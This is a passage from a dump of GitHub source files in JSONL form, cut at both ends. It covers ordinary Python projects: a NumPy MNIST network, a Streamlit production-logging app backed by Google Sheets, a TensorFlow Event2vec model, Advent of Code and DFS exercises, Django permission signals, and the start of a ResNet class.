n_song_artx:\r\n i = i.strip().strip('\"')\r\n n_song_art.append(i)\r\n else:\r\n n_song_id = x\r\n nan += 1\r\n nova_musica = {'nome': n_song_n, 'artistas': n_song_art, 'id': n_song_id}\r\n n_musicas[quant_p].append(nova_musica)\r\n\r\nprint(\"\\nDataFrame de Artistas (após inserção):\")\r\nprint(df_artistas)\r\n\r\n# Caminho para o arquivo CSV de saída\r\ncaminho_saida = 'outputdataframe.csv'\r\n\r\n# Salva o DataFrame em um arquivo CSV para testar se funcionou.\r\ndf_artistas.to_csv(caminho_saida, index=False, encoding='utf-8')\r\n\r\n","repo_name":"vramoscabral/Trabalho-Final-AEDS-II","sub_path":"src/dataframe.py","file_name":"dataframe.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22349878678","text":"# chapter4. neural network exercise, simple FNN by Numpy\r\n# using mnist dataset\r\n\r\nimport os\r\nimport numpy as np\r\n\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\nimport fnn_util\r\n\r\ng_lr = 0.001\r\n\r\n\r\nclass FNN_Model_NP:\r\n \"\"\"\r\n FNN Model implement by Numpy\r\n train and test by MNIST dataset\r\n \"\"\"\r\n def __init__(self, maxIter=1000, precision=1e-7):\r\n self.maxIter = maxIter\r\n self.precs = precision\r\n\r\n # network topology\r\n self.input_nodes = 28*28\r\n self.h1_nodes = 100\r\n self.h2_nodes = 50\r\n self.output_nodes = 10\r\n\r\n self.act_f = fnn_util.sigmoid\r\n self.act_f_diff = fnn_util.diff_sigmoid\r\n # self.loss_f = fnn_util.mse_loss\r\n self.loss_f = fnn_util.softmax_cross_entropy\r\n # self.act_f = fnn_util.relu\r\n # self.act_f_diff = fnn_util.diff_relu\r\n\r\n # initial parameter\r\n \"\"\"\r\n h1 hidden layer\r\n w1, b1: input->h1, w1.shape(in,h1), b1(1, h1)\r\n w1 shape(748, 100), b1 shape(100, )\r\n \"\"\"\r\n self.W1 = np.random.normal(size=[self.input_nodes, self.h1_nodes])\r\n self.b1 = np.random.normal(size=[1, self.h1_nodes])\r\n\r\n \"\"\"\r\n h2 hidden layer\r\n w2, b2: h1->h2, w1.shape(h1, h2), b1(1, h2)\r\n w2 shape(100, 50), b2 shape(50, )\r\n \"\"\"\r\n self.W2 = np.random.normal(size=[self.h1_nodes, self.h2_nodes])\r\n self.b2 = np.random.normal(size=[1, self.h2_nodes])\r\n\r\n \"\"\"\r\n output layer\r\n w3, b3: h2->h3, w1.shape(h2, out), b1(1, out)\r\n w3 shape(50, 10), b3 shape(10, )\r\n \"\"\"\r\n self.Wo = np.random.normal(size=[self.h2_nodes, self.output_nodes])\r\n self.bo = np.random.normal(size=[1, self.output_nodes])\r\n\r\n pass\r\n\r\n def __calc_forward(self, x):\r\n assert(x.shape[1] == self.input_nodes)\r\n # input -> h1\r\n h1_logits = np.dot(x, self.W1) + self.b1\r\n h1_alpha = self.act_f(h1_logits) # fnn_util.sigmoid(h1_logits)\r\n\r\n # h1 -> h2\r\n h2_logits = np.dot(h1_alpha, self.W2) + self.b2\r\n h2_alpha = self.act_f(h2_logits) # fnn_util.sigmoid(h2_logits)\r\n\r\n # h2 -> output\r\n out_logits = np.dot(h2_alpha, self.Wo) + self.bo\r\n out_alpha = self.act_f(out_logits) # fnn_util.sigmoid(out_logits)\r\n\r\n return out_alpha, h1_alpha, h2_alpha\r\n\r\n def __calc_loss_and_accuracy(self, logits, labels):\r\n\r\n pred_y = fnn_util.softmax(logits)\r\n losses = self.loss_f(pred_y, labels) # fnn_util.softmax_cross_entropy(pred_y, labels)\r\n loss = np.mean(losses)\r\n\r\n y_1 = np.argmax(labels, axis=1)\r\n pred_y = np.argmax(pred_y, axis=1)\r\n\r\n accuracy = np.mean(np.equal(pred_y, y_1).astype(np.float32))\r\n\r\n return loss, accuracy\r\n pass\r\n\r\n def train(self, x_train, y_train):\r\n print(\"============= MODEL TRAINING =============\")\r\n\r\n # step1. preprocess input training data\r\n assert(x_train.shape[0] == y_train.shape[0])\r\n sample_N = x_train.shape[0]\r\n assert(x_train.shape[1] == x_train.shape[2] == 28)\r\n\r\n # reshape the train x data from (N, 28, 28) -> (N, 28*28)\r\n # reshape the train y data to ONE-HOT\r\n x_train = np.reshape(x_train, [-1, self.input_nodes])\r\n y_train_oh = fnn_util.vec_to_onehot(y_train, m=self.output_nodes)\r\n\r\n # step2. BP process\r\n step = 0\r\n old_acc = 0.0\r\n while step < self.maxIter:\r\n step += 1\r\n # step1. forward calculation and save every layer input and output\r\n out_alpha, h1_alpha, h2_alpha = \\\r\n self.__calc_forward(x_train)\r\n\r\n # check iteration terminal condition\r\n loss, acc = self.__calc_loss_and_accuracy(out_alpha, y_train_oh)\r\n\r\n if step % (self.maxIter / 10) == 0:\r\n print('epoch', step, ': loss', loss, '; accuracy', acc)\r\n if acc > 0.9 and np.abs(acc - old_acc) < self.precs:\r\n print('\\t\\t\\tIteration Terminated!!!\\nepoch', step, ': loss', loss,\r\n '; accuracy', acc)\r\n break\r\n old_acc = acc\r\n\r\n # step2. calc backward every layer difference delta\r\n #\r\n delta_out = -(y_train_oh - out_alpha) * self.act_f_diff(out_alpha)\r\n # h2\r\n delta_h2 = np.dot(delta_out, self.Wo.T) * self.act_f_diff(h2_alpha)\r\n # h1\r\n delta_h1 = np.dot(delta_h2, self.W2.T) * self.act_f_diff(h1_alpha)\r\n\r\n # step3. update every layers W and b\r\n self.Wo = self.Wo - g_lr * \\\r\n np.dot(h2_alpha.T, delta_out)\r\n self.W2 = self.W2 - g_lr * \\\r\n np.dot(h1_alpha.T, delta_h2)\r\n self.W1 = self.W1 - g_lr * \\\r\n np.dot(x_train.T, delta_h1)\r\n\r\n self.bo = self.bo - g_lr * np.mean(delta_out, axis=0)\r\n self.b2 = self.b2 - g_lr * np.mean(delta_h2, axis=0)\r\n self.b1 = self.b1 - g_lr * np.mean(delta_h1, axis=0)\r\n\r\n pass\r\n\r\n # step. final calculate train dataset loss and accuracy\r\n out_alpha, _, _ = self.__calc_forward(x_train)\r\n loss, accuracy = self.__calc_loss_and_accuracy(out_alpha, y_train_oh)\r\n\r\n print(\"============= MODEL TRAINING FINISHED =============\")\r\n return loss, accuracy\r\n\r\n\r\n def __call__(self, x):\r\n assert (x.shape[1] == 28*28)\r\n logits, *_t = self.__calc_forward(x)\r\n\r\n pred_y = fnn_util.softmax(logits)\r\n pred_y = np.argmax(pred_y, axis=1)\r\n return pred_y\r\n\r\n\r\nif __name__ == \"__main__\":\r\n (x_train, y_train), (x_test, y_test) = fnn_util.mnist_dataset(num=5000)\r\n print(x_train.shape)\r\n print(y_train.shape)\r\n print(x_test.shape)\r\n print(y_test.shape)\r\n\r\n myModel = FNN_Model_NP()\r\n _loss, _acc = myModel.train(x_train, y_train)\r\n print('\\t\\t\\tTRAIN DATASET \\n final loss', _loss, '; accuracy', _acc)\r\n\r\n print(\"================ MODEL TESTING ==============\")\r\n x_test_1 = np.copy(x_test)\r\n x_test_1 = np.reshape(x_test_1, [-1, 28*28])\r\n pred_y = myModel(x_test_1)\r\n _acc = np.mean(np.equal(pred_y, y_test).astype(np.float32))\r\n print('\\t\\t\\tTEST DATASET \\n final accuracy', _acc)\r\n print(\"\\n================ MODEL TESTING END ===========\")\r\n\r\n import matplotlib.pyplot as plt\r\n\r\n Js = np.random.randint(0, len(y_test), size=30)\r\n for i in range(30):\r\n ax = plt.subplot(5, 6, i+1)\r\n ax.axis('off')\r\n img = x_test[Js[i]]\r\n ax.imshow(img, cmap=plt.get_cmap('gray'))\r\n\r\n img = np.reshape(img, [-1, 28*28])\r\n pred = myModel(img)\r\n label = y_test[Js[i]]\r\n if pred[0] == label:\r\n ax.set_title(f\"{pred[0] :d}\", color='green', fontsize=15)\r\n else:\r\n ax.set_title(f\"{pred[0] :d}\", color='red', fontsize=15)\r\n\r\n # show the plot\r\n plt.show()\r\n\r\n\r\n pass\r\n\r\n\r\n","repo_name":"gaoming1977/NNDL-Exercises","sub_path":"chap4/simple_FNN_numpy.py","file_name":"simple_FNN_numpy.py","file_ext":"py","file_size_in_byte":6938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"34370697731","text":"import gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nimport pandas as pd\n\nimport streamlit as st\nfrom st_aggrid import AgGrid, JsCode\nfrom st_aggrid.grid_options_builder import GridOptionsBuilder\nfrom gspread_formatting import *\n\nfrom PIL import Image\nfrom datetime import datetime, date\nimport datetime\nimport numpy as np\n\n#Base gerador de ordem de producao\n\n# Connect to Google Sheets\n# ======================================= #\n\nst.markdown(\"

Apontamento de produção Pintura

\", unsafe_allow_html=True)\n\nwith st.sidebar:\n image = Image.open('logo-cemagL.png')\n st.image(image, width=300)\n#st.write(datetime.datetime.now().strftime('%d/%m/%Y %H:%M:%S'))\n\n#@st.cache(allow_output_mutation=True)\ndef load_datas():\n\n scope = ['https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive\"]\n \n credentials = ServiceAccountCredentials.from_json_keyfile_name(\"service_account.json\", scope)\n client = gspread.authorize(credentials)\n sa = gspread.service_account('service_account.json') \n\n name_sheet = 'Base gerador de ordem de producao'\n worksheet = 'Pintura'\n sh = sa.open(name_sheet)\n wks = sh.worksheet(worksheet)\n list1 = wks.get_all_records()\n table = pd.DataFrame(list1)\n table = table.drop_duplicates()\n \n name_sheet1 = 'Base ordens de produçao finalizada'\n worksheet1 = 'Pintura'\n sh1 = sa.open(name_sheet1)\n wks1 = sh1.worksheet(worksheet1)\n list2 = wks1.get_all_records()\n table1 = pd.DataFrame(list2)\n \n return wks1, sh1,table, table1#, lista_unicos\n\ndef page1():\n \n wks1, sh1, table, table1 = load_datas()\n\n ultimo_id = table1['id'].max() + 1\n\n n_op = st.date_input(\"Data da carga\")\n n_op = n_op.strftime(\"%d/%m/%Y\")\n\n def consultar(n_op,table):\n \n filter_ = table.loc[(table['DATA DA CARGA'] == n_op)] \n \n filter_['PROD.'] = ''\n \n filter_ = filter_.reset_index(drop=True)\n \n filter_['COR'] = ''\n \n for i in range(len(filter_)): \n filter_['COR'][i] = filter_['CODIGO'][i][6:]\n \n #filter_['UNICO'] = filter_['CODIGO'] + n_op\n filter_ = filter_.rename(columns={'DESCRICAO':'DESC.', 'QT_ITENS':'PLAN.'})\n table_geral = filter_[['UNICO','CODIGO', 'DESC.', 'PLAN.', 'COR', 'PROD.']]\n table_geral['CAMBÃO'] = ''\n table_geral['TIPO'] = ''\n \n table_geral = table_geral[['CODIGO','DESC.','PLAN.','COR','PROD.','CAMBÃO','TIPO']]\n\n table_geral = table_geral.drop_duplicates(subset = ['CODIGO'], keep='last')\n\n dropdown_tipo = ('PO','PU','')\n\n gb = GridOptionsBuilder.from_dataframe(table_geral)\n gb.configure_default_column(min_column_width=10)\n gb.configure_column('PROD.', editable=True,)\n gb.configure_column('TIPO', editable=True, cellEditor='agSelectCellEditor', cellEditorParams={'values': dropdown_tipo})\n gb.configure_column('CAMBÃO', editable=True)\n \n cellstyle_jscode = JsCode(\"\"\"\n function(params){\n if (params.value == 'AV') {\n return {\n 'color': 'black', \n 'backgroundColor': 'yellow',\n }\n }\n if (params.value == 'VJ') {\n return {\n 'color': 'white', \n 'backgroundColor': 'green',\n }\n }\n if (params.value == 'CO') {\n return {\n 'color': 'white', \n 'backgroundColor': 'gray',\n }\n }\n if (params.value == 'LC') {\n return {\n 'color': 'white', \n 'backgroundColor': 'orange',\n }\n }\n if (params.value == 'VM') {\n return {\n 'color': 'white', \n 'backgroundColor': 'red',\n }\n } \n if (params.value == 'AN') {\n return {\n 'color': 'white', \n 'backgroundColor': 'blue',\n }\n } \n }\n \"\"\")\n\n gb.configure_column('COR', cellStyle=cellstyle_jscode)\n\n grid_options = gb.build()\n\n grid_response = AgGrid(table_geral,\n gridOptions=grid_options,\n data_return_mode='AS_INPUT',\n #custom_css=custom_css,\n width='100%',\n update_mode='MANUAL',\n height=500,\n fit_columns_on_grid_load = True,\n enable_enterprise_modules=True,\n theme='streamlit',\n allow_unsafe_jscode=True\n ) \n\n filter_new = grid_response['data']\n\n button2 = st.button('Salvar')\n\n if button2:\n \n filter_new['DATA DA CARGA'] = n_op \n filter_new['DATA FINALIZADA'] = datetime.datetime.now().strftime('%d/%m/%Y')\n filter_new['UNICO'] = ''\n\n # for i in range(len(filter_new)):\n # filter_new['UNICO'][i] = filter_new['CODIGO'] + filter_new['DATA DA CARGA'][i] + str(filter_new['CAMBÃO'][i])\n # filter_new['UNICO'][i] = filter_new['UNICO'][i].replace('/','', regex=True) \n \n filter_new = filter_new.replace({'PROD.':{'':0}})\n filter_new['PROD.'] = filter_new['PROD.'].astype(int)\n filter_new['SETOR'] = 'Pintura'\n #filter_new = filter_new.loc[(filter_new['QT. PRODUZIDA']>0) & (filter_new['TIPO'] != '') & (filter_new['CAMBÃO'] != 0)]\n\n #compare = table_geral.compare(filter_new, align_axis=1, keep_shape=False, keep_equal=False)\n #compare\n\n list_index = []\n\n for i in range(len(filter_new)):\n if filter_new['PROD.'][i] == 0 and filter_new['TIPO'][i] == '' and filter_new['CAMBÃO'][i] == '': \n ind = filter_new['PROD.'].index[i]\n list_index.append(ind)\n \n filter_new = filter_new.drop(list_index, axis=0)\n\n filter_new = filter_new[['UNICO','CODIGO','DESC.','PLAN.','COR','PROD.','CAMBÃO','TIPO','DATA DA CARGA','DATA FINALIZADA','SETOR']]\n\n filter_new['UNICO'] = filter_new['CODIGO'] + filter_new['DATA FINALIZADA'] + filter_new['CAMBÃO']\n filter_new['UNICO'] = filter_new['UNICO'].replace(\"/\",'',regex=True)\n \n try:\n for tipo in range(filter_new):\n if filter_new['TIPO'][tipo] == '':\n filter_new['TIPO'][tipo] = 'PO'\n except:\n pass\n\n filter_new = filter_new.values.tolist()\n sh1.values_append('Pintura', {'valueInputOption': 'RAW'}, {'values': filter_new})\n\n if n_op != '':\n consultar(n_op,table)\n\ndef page2():\n \n wks1, sh1,table, table1 = load_datas()\n\n n_op = st.date_input(\"Data da carga\")\n n_op = n_op.strftime(\"%d/%m/%Y\")\n\n def consultar_2(wks1, n_op, sh1, table1):\n \n filter_ = table1.loc[(table1['DATA DA CARGA'] == n_op)] \n \n filter_ = filter_.reset_index(drop=True)\n \n filter_ = filter_.loc[(filter_['STATUS'] != 'OK')]\n\n filter_ = filter_.rename(columns={'QT APONT.':'PROD.','DATA DA CARGA':'DT. CARGA'})\n\n table_geral = filter_[['CODIGO', 'PEÇA', 'CAMBÃO', 'TIPO', 'PROD.','DT. CARGA','STATUS']]#, 'FLAG','SETOR']]\n\n gb = GridOptionsBuilder.from_dataframe(table_geral)\n gb.configure_default_column(min_column_width=100)\n gb.configure_column('STATUS', editable=True)\n #gb.configure_selection(selection_mode=\"multiple\", use_checkbox=True)\n grid_options = gb.build()\n\n grid_response = AgGrid(table_geral,\n gridOptions=grid_options,\n data_return_mode='AS_INPUT',\n width='100%',\n update_mode='MANUAL',\n height=500,\n try_to_convert_back_to_original_types = False,\n fit_columns_on_grid_load = True,\n allow_unsafe_jscode=True,\n enable_enterprise_modules=True,\n theme='streamlit',\n ) \n\n filter_new = grid_response['data']\n\n button2 = st.button('Salvar')\n\n if button2:\n \n filter_new['COR'] = ''\n filter_new['QT PLAN.'] = ''\n filter_new['COR'] = ''\n filter_new['SETOR'] = 'Pintura'\n filter_new['DATA FINALIZADA'] = datetime.datetime.now().strftime('%d/%m/%Y')\n \n filter_new['FLAG'] = '' \n\n filter_new = filter_new[['FLAG','CODIGO', 'PEÇA','QT PLAN.','COR','PROD.','CAMBÃO','TIPO','DT. CARGA','DATA FINALIZADA','SETOR','STATUS']]#, 'FLAG','SETOR']]\n\n filter_new['CAMBÃO'] = filter_new['CAMBÃO'].astype(str)\n\n filter_new['FLAG'] = filter_new['CODIGO'] + filter_new['DATA FINALIZADA'] + filter_new['CAMBÃO']\n filter_new['FLAG'] = filter_new['FLAG'].replace('/','', regex=True)\n\n filter_new = filter_new.loc[(filter_new['STATUS'] != '')]\n\n lista_flags = filter_new[['FLAG']].values.tolist()\n \n table1 = table1.loc[(table1['STATUS'] == '')]\n\n for flags in range(len(lista_flags)):\n\n mudanca_status = table1.loc[(table1['FLAG']) == lista_flags[flags][0]]\n mudanca_status = mudanca_status.index[0] \n\n wks1.update(\"L\" + str(mudanca_status+2), 'OK')\n\n\n if n_op != '':\n consultar_2(wks1, n_op,sh1,table1)\n\npage_names_to_funcs = {\n \"Gerar Cambão\": page1,\n \"Finalizar Cambão\": page2,\n}\n\nselected_page = st.sidebar.selectbox(\"Selecione a função\", page_names_to_funcs.keys())\npage_names_to_funcs[selected_page]() ","repo_name":"Cemag-pcp/Apontamentos","sub_path":"app_pintura.py","file_name":"app_pintura.py","file_ext":"py","file_size_in_byte":10364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"44363041763","text":"import numpy as np\nimport tensorflow as tf\n\nclass EVENT2VEC(object):\n def __init__(self,\n nodes_num,\n node_types,\n nodes_ind,\n beta=30,\n rep_size=128,\n struct=[None, None],\n epochs=2000,\n batch_size=128,\n learning_rate=0.01):\n self.nodes_num = nodes_num\n self.node_types = node_types\n self.nodes_ind = nodes_ind\n self.beta = beta\n self.epochs = epochs\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n\n self.input_dim = nodes_num\n self.nodes_hidden_dim = rep_size\n self.events_hidden_dim = rep_size\n\n self.embeddings = None\n self.vectors = {}\n self.W = {}\n self.b = {}\n\n self.layers = len(struct) \n\n self.struct = {}\n\n self.inc_mat = {}\n\n self.node_weight = {}\n\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n self.struct[node_type] = struct\n self.struct[node_type][0] = self.input_dim[node_type]\n self.struct[node_type][-1] = self.nodes_hidden_dim\n\n self.inc_mat[node_type] = tf.placeholder(dtype=tf.float32, shape=[None, self.input_dim[node_type]])\n\n node_struct = self.struct[node_type]\n node_encoded = {}\n\n for i in range(self.layers-1):\n name = node_type + 'encoder' + str(i)\n self.W[name] = tf.Variable(tf.random_normal([node_struct[i], node_struct[i+1]], dtype=tf.float32), name=name)\n self.b[name] = tf.Variable(tf.zeros([node_struct[i+1]], dtype=tf.float32), name=name)\n \n node_struct.reverse()\n for i in range(self.layers-1):\n name = node_type + 'decoder' + str(i)\n self.W[name] = tf.Variable(tf.random_normal([node_struct[i], node_struct[i+1]], dtype=tf.float32), name=name)\n self.b[name] = tf.Variable(tf.zeros([node_struct[i+1]], dtype=tf.float32), name=name)\n\n node_encoded = self.nodes_encoder(self.inc_mat)\n event_encoded = self.event_encoder(node_encoded)\n decoded = self.decoder(event_encoded)\n\n self.node_encoded = node_encoded\n self.event_encoded = event_encoded\n self.decoded = decoded\n\n self.loss = self.all_loss()\n self.train_op = tf.train.AdamOptimizer(self.learning_rate).minimize(self.loss)\n\n self.saver = tf.train.Saver()\n \n def nodes_encoder(self, X):\n X_encoded = {}\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n X_encoded[node_type] = X[node_type]\n for i in range(self.layers-1):\n name = node_type + 'encoder' + str(i)\n X_encoded[node_type] = tf.nn.sigmoid(tf.matmul(X_encoded[node_type], self.W[name]) + self.b[name])\n \n return X_encoded\n\n def event_encoder(self, X):\n event_encoded = None\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n if event_encoded is None:\n event_encoded = X[node_type]\n else:\n event_encoded += X[node_type]\n\n return event_encoded\n \n def decoder(self, X):\n X_decoded = {}\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n X_decoded[node_type] = X\n for i in range(self.layers-1):\n name = node_type + 'decoder' + str(i)\n X_decoded[node_type] = tf.nn.sigmoid(tf.matmul(X_decoded[node_type], self.W[name]) + self.b[name])\n\n return X_decoded\n\n def all_loss(self):\n def get_2nd_loss(X, newX, beta):\n loss = None\n B = {}\n for node_type in self.node_types:\n B[node_type] = X[node_type] * (beta - 1) + 1\n if loss is None:\n loss = tf.reduce_sum(tf.pow(tf.subtract(X[node_type], newX[node_type])*B[node_type], 2)) \n else:\n loss += tf.reduce_sum(tf.pow(tf.subtract(X[node_type], newX[node_type])*B[node_type], 2))\n \n return loss\n\n def get_reg_loss(weights, biases):\n ret1 = 0\n ret2 = 0\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n for i in range(self.layers-1):\n name1 = node_type + 'encoder' + str(i)\n name3 = node_type + 'decoder' + str(i)\n ret1 = ret1 + tf.nn.l2_loss(weights[name1]) + tf.nn.l2_loss(weights[name3])\n ret2 = ret2 + tf.nn.l2_loss(biases[name1]) + tf.nn.l2_loss(biases[name3])\n\n ret = ret1 + ret2\n\n return ret\n \n def get_loss_xxx(X):\n loss = None\n for node_type in self.node_types:\n if loss is None:\n loss = tf.reduce_sum(tf.pow(X[node_type], 2))\n else:\n loss += tf.reduce_sum(tf.pow(X[node_type], 2))\n \n return loss\n\n self.loss_2nd = get_2nd_loss(self.inc_mat, self.decoded, self.beta)\n self.loss_reg = get_reg_loss(self.W, self.b)\n return self.loss_2nd + self.loss_reg\n\n def get_batch(self, X, batch_size):\n a = np.random.choice(len(X[self.node_types[0]]), batch_size, replace=False)\n batch_data = {}\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n batch_data[node_type] = X[node_type][a]\n \n return batch_data\n \n def get_feed_dict(self, batch_data):\n feed_dict = {}\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n feed_dict[self.inc_mat[node_type]] = batch_data[node_type]\n\n return feed_dict\n\n def train(self, inc_mat):\n tf_config = tf.ConfigProto()\n tf_config.gpu_options.allow_growth = True\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(self.epochs):\n embeddings = None\n for j in range(np.shape(inc_mat[self.node_types[0]])[0] // self.batch_size):\n batch_data = self.get_batch(inc_mat, self.batch_size)\n loss, _ = sess.run([self.loss, self.train_op], feed_dict=self.get_feed_dict(batch_data))\n if embeddings is None:\n embeddings = self.node_encoded\n else:\n for type_i in range(len(self.node_types)):\n node_type = self.node_types[type_i]\n embeddings[node_type] = np.vstack((embeddings[node_type], self.node_encoded))\n # print('batch {0}: loss = {1}'.format(j, loss))\n print('epoch {0}: loss = {1}'.format(i, loss))\n self.saver.save(sess, './model.ckpt')\n \n def get_embeddings(self, inc_mat, node_deg):\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n self.saver.restore(sess, './model.ckpt')\n look_back = self.nodes_ind\n vectors = {}\n data = self.get_feed_dict(inc_mat)\n event_embeddings = sess.run(self.event_encoded, feed_dict=data)\n for node_type in self.node_types:\n node_embeddings = np.dot(np.linalg.inv(node_deg[node_type]), np.dot(inc_mat[node_type].T, event_embeddings))\n for i, embedding in enumerate(node_embeddings):\n vectors[look_back[node_type][i]] = embedding\n \n return vectors\n\n def save_embeddings(self, filename, inc_mat, node_deg):\n # print(inc_mat)\n self.vectors = self.get_embeddings(inc_mat, node_deg)\n node_size = 0\n for node_type in self.node_types:\n node_size += len(inc_mat[node_type].T)\n fout = open(filename, 'w')\n fout.write('{} {}\\n'.format(node_size, self.nodes_hidden_dim))\n for node, vec in self.vectors.items():\n fout.write('{} {}\\n'.format(str(node), ' '.join([str(x) for x in vec])))\n \n fout.close()\n\n\n\n","repo_name":"guoji-fu/Event2vec","sub_path":"event2vec.py","file_name":"event2vec.py","file_ext":"py","file_size_in_byte":8391,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"11"} +{"seq_id":"18632365750","text":"from collections import Counter\nfrom collections import defaultdict\n\nfrom numpy.lib.function_base import diff\n\ndef part1(input: str):\n adapters = [int(x) for x in input.splitlines()]\n\n adapters.append(0)\n adapters.append(max(adapters)+3)\n\n adapters = sorted(adapters)\n\n diffs = [y - x for x,y in zip(adapters, adapters[1:])]\n #print(diffs)\n\n c = Counter(diffs)\n\n return c[1] * c[3]\n\ndef part2(input: str):\n adapters = [int(x) for x in input.splitlines()]\n adapters.append(0)\n adapters.append(max(adapters)+3)\n adapters = sorted(adapters)\n\n # played arround quite some time with getting a nice way to use the list of diffs from part 1, finally I gave up and used a long and cumbersome recursive solution. Afterwards found this quite elegant solution which does not use a math formula und is really short on reddit. https://www.reddit.com/r/adventofcode/comments/ka8z8x/2020_day_10_solutions/gfcxuxf/?utm_source=reddit&utm_medium=web2x&context=3\n paths = defaultdict(int)\n paths[0] = 1\n for adapter in adapters:\n first = True\n for diff in range(1, 4):\n next_adapter = adapter + diff\n if next_adapter in adapters:\n paths[next_adapter] += paths[adapter]\n \n return paths[max(adapters)]\n\n\nif __name__ == \"__main__\":\n f = open('./day10/input.txt', 'r')\n input = f.read()\n print(f'Part1: {part1(input)}')\n print(f'Part2: {part2(input)}')","repo_name":"svendroid/adventofcode2020","sub_path":"day10/day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1048188321","text":"# SWEA_4871. 그래프경로\n# 2022-08-18\n\n# 정답코드\nimport sys\nsys.stdin = open('sample_input.txt','r')\n\ndef dfs(now, N): # N은 정점의 개수\n\n top = -1\n\n visited[now] = 1 # 시작점 방문 표시\n while True:\n for w in adjList[now]: # v의 인접정점 중에서\n if visited[w] == 0: # 방문기록이 없는 w가 있으면\n top += 1 # push(now)\n stack[top] = now\n now = w # w로 위치를 이동\n\n visited[w] = 1 # visited[w] 방문기록을 저장\n break\n\n else: # 방문 안한 정점 w가 더이상 없으면\n if top != -1: # 스택이 비어있지 않은 경우\n now = stack[top] # pop()\n top -= 1\n else: # 스택이 비어있는 경우\n break # 다돈거니까 끝냄\n\nTC = int(input())\nfor tc in range(1, TC+1):\n V, E = map(int, input().split()) # V:노드 수, E: 간선 수\n\n N = V+1 # idx는 0부턴데 노드는 1부터라서 번호를 맞추기 위함\n adjList = [[] for _ in range(N)] # 0번 노드는 존재만 하고 없는취급 할 것임\n\n for i in range(E):\n a, b = map(int, input().split())\n adjList[a].append(b)\n\n visited = [0] * N\n stack = [0] * N\n\n S,G = map(int, input().split())\n dfs(S, N) # 0번노드는 오지도 가지도 않을거라 무시하면 됨\n\n if visited[G] == 0 :\n print('#{} 0'.format(tc))\n else :\n print('#{} 1'.format(tc))","repo_name":"isangbin/TIL","sub_path":"SWEA/4871_그래프경로/4871_그래프경로.py","file_name":"4871_그래프경로.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30782826753","text":"from guardian.shortcuts import assign_perm\n\nfrom .models import Project\nfrom django.db.models.signals import post_save, pre_save, m2m_changed\nfrom django.dispatch import receiver\nfrom utils.tasks import send_email\n\n\n@receiver(post_save, sender=Project)\ndef notify_author(sender, instance, created, **kwargs):\n if created:\n mail_subject = 'Created New Project ID {0}'.format(instance.id)\n messages = \"Project {0} created successful at {1}\".format(instance.id, instance.created_date)\n send_email.delay(mail_subject, messages, recipients=[instance.created_by.email])\n else:\n mail_subject = 'Project ID {0} has a change'.format(instance.id)\n messages = \"Project {0} updated at {1}\".format(instance.id, instance.created_date)\n recipients = [recipient.email for recipient in instance.collaborators.all()]\n recipients.append(instance.created_by.email)\n send_email.delay(mail_subject, messages, recipients=recipients)\n\n\n@receiver(post_save, sender=Project)\ndef set_permissions(sender, instance, created, **kwargs):\n assign_perm(\"olp_view_project\", instance.created_by, instance)\n assign_perm(\"olp_update_project\", instance.created_by, instance)\n assign_perm(\"olp_delete_project\", instance.created_by, instance)\n assign_perm(\"olp_view_collaborator_project\", instance.created_by, instance)\n assign_perm(\"olp_add_collaborator_project\", instance.created_by, instance)\n assign_perm(\"olp_update_collaborator_project\", instance.created_by, instance)\n assign_perm(\"olp_delete_collaborator_project\", instance.created_by, instance)\n\n\n@receiver(m2m_changed, sender=Project.collaborators.through)\ndef add_collaborators(sender, instance, action, **kwargs):\n if action == 'post_add':\n # This will give you the users BEFORE any removals have happened\n recipients = [recipient.email for recipient in instance.collaborators.all()]\n mail_subject = 'Invitation to join Project ID {0}'.format(instance.id)\n messages = \"You are invited in Project {0} at {1} by {2}\".\\\n format(instance.id, instance.created_date, instance.created_by)\n send_email.delay(mail_subject, messages, recipients)\n\n\n@receiver(m2m_changed, sender=Project.collaborators.through)\ndef set_permissions_collaborator(sender, instance, action, **kwargs):\n if action == 'post_add':\n # This will give you the users BEFORE any removals have happened\n for collaborator in instance.collaborators.all():\n assign_perm(\"olp_view_project\", collaborator, instance)\n assign_perm(\"olp_view_collaborator_project\", collaborator, instance)\n","repo_name":"ClarkLe01/project_management","sub_path":"app/project/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6349508422","text":"# -*- coding: utf-8 -*-\n# Based on https://github.com/taki0112/ResNet-Tensorflow\n# Based on https://github.com/taki0112/ResNeXt-Tensorflow\nimport sys\nsys.path.append('./utility')\nimport numpy as np\nimport tensorflow as tf\nfrom model import Model\nfrom optimizer import *\n\nclass ResNet(Model):\n def __init__(self, *args, **kwargs):\n is_stochastic_depth = kwargs.pop('is_stochastic_depth')\n super().__init__(*args, **kwargs)\n #resnet type -> '18, 34, 50, 101, 152'\n self.n_res = 18\n self.filter = 64\n self.p_L = 0.5 if is_stochastic_depth else 1.0\n\n if self.n_res < 50 :\n self.residual_block = self.resblock\n else :\n self.residual_block = self.bottle_resblock\n\n 